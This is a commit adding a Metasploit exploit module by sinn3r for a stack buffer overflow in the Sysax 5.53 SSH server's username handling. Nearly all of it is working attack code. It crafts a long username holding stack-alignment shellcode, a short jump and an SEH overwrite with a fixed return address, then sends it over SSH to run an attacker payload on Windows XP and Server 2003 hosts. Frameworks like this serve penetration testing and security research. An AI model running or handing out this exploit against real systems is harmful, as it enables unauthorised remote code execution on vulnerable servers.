Add Sysax SSH buffer overflow exploit

sinn3r 2012-03-03 10:11:51 -06:00
parent 9f05562a18
commit fa916d863d
1 changed files with 153 additions and 0 deletions

View File

@ -0,0 +1,153 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
supplying a long username, the SSH server will copy that data on the stack
without any proper bounds checking, therefore allowing remote code execution
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Initial discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['URL', 'http://www.exploit-db.com/exploits/18535/']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
# Win XP SP3 and Win2k3 SP0
# POP/POP/RET - sysaxservd.exe
['Sysax 5.53 on Win XP SP3 / Win2k3 SP0', {'Ret'=>0x00402669}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22])
], self.class)
end
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end
def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end
#
# Align the stack to the beginning of the fixed size payload
#
align = "\x54" #PUSH ESP
align << "\x58" #POP EAX
align << "\x04\x08" #ADD AL,0x08
align << "\x8b\x18" #MOV EBX, [EAX]
align << "\x93" #XCHG EAX,EBX
align << "\x66\x2d\x10\x04" #SUB AX,0x361
align << "\x50" #PUSH EAX
align << "\xc3" #RET
#
# Our payload limited to 1024+4 bytes
#
p = make_nops(4)
p << payload.encoded
#
# Craft the buffer like this:
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
# for the IP length, so the next 9404-byte space will begin at a consistent place.
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
buf << p
buf << align
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
buf << [target.ret].pack('V*')
#
# Send the malicious buffer
#
pass = rand_text_alpha(8)
begin
print_status("Sending malicious request to #{rhost}:#{rport}...")
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
{
:password => pass,
:port => datastore['RPORT'],
:timeout => 1
})
::Timeout.timeout(1) {ssh.close} rescue nil
rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
end
handler(ssh)
end
end
=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
* Need a reliable stack pivot to rop out, haven't found one
=end